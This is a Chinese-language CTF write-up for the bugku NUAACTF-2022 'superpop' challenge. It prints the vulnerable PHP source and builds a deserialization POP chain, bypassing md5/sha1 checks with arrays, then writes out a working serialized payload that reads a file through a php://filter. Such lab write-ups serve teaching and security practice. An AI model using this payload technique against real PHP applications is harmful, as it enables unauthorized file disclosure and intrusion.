bugku NUAACTF-2022 superpop
反序列化pop链学习
题目直接给了源码:
<?php
error_reporting(0);
class User{
public $username;
public $password;
public $variable;
public $a;
public function __construct()
{
$this->username = "user";
$this->password = "user";
}
public function __wakeup(){
if( ($this->username != $this->password) && (md5($this->username) === md5($this->password)) && (sha1($this->username)=== sha1($this->password)) ){
echo "wuhu!";
return $this->variable->xxx;
}else{
die("o^o");
}
}
}
class Login{
public $point;
public function __get($key){
$func = $this->point;
return $func();
}
}
class Read{
public $filename;
public function __invoke(){
echo file_get_contents($this->filename.".php");
}
}
if(isset($_GET['x'])){
unserialize($_GET['x']);
}else{
highlight_file(__FILE__);
}
?>
首先我们要了解与反序列化有关的PHP的魔术方法
__wakeup
在__Construct被调用后接着调用
__get
当读取不可访问的属性的值的时候自动调用
__invoke
当尝试以调用函数的方式调用一个对象时自动调用
解题思路:
我们最终是想通过file_get_contents 结合php伪协议来读取flag
所以我们想要调用Read类中的invoke
而在Read类中我们可以将point的类型设置为Read类的对象 通过__get来调用
而我们要调用__get的话就需要User类中的__wakeup中的
$this->variable->xxx 来实现
有了思路后就是怎么来构造payload x 了
首先 绕过md5和sha1直接传数组即可
然后按着解题思路依次设置变量
php实现:
<?php
class User{
public $username;
public $password;
public $variable;
public $a;
}
class Login{
public $point;
}
class Read{
public $filename;
}
$user = new User();
$login = new Login();
$read = new Read();
$a = array("1");
$b = array("2");
$user->username = $a;
$user->password = $b;
$read->filename = "php://filter/convert.base64-encode/resource=flag";
$login->point = $read;
$user->variable = $login;
echo(serialize(($user)));
注意php的一些写法和技巧:
1.$a=array("1");
2.先实例化三个具体对象 便于后续的对象类型赋值
最终payload:
?x=O:4:"User":4:{s:8:"username";a:1:{i:0;s:1:"1";}s:8:"password";a:1:{i:0;s:1:"2";}s:8:"variable";O:5:"Login":1:{s:5:"point";O:4:"Read":1:{s:8:"filename";s:48:"php://filter/convert.base64-encode/resource=flag";}}s:1:"a";N;}
即可拿到flag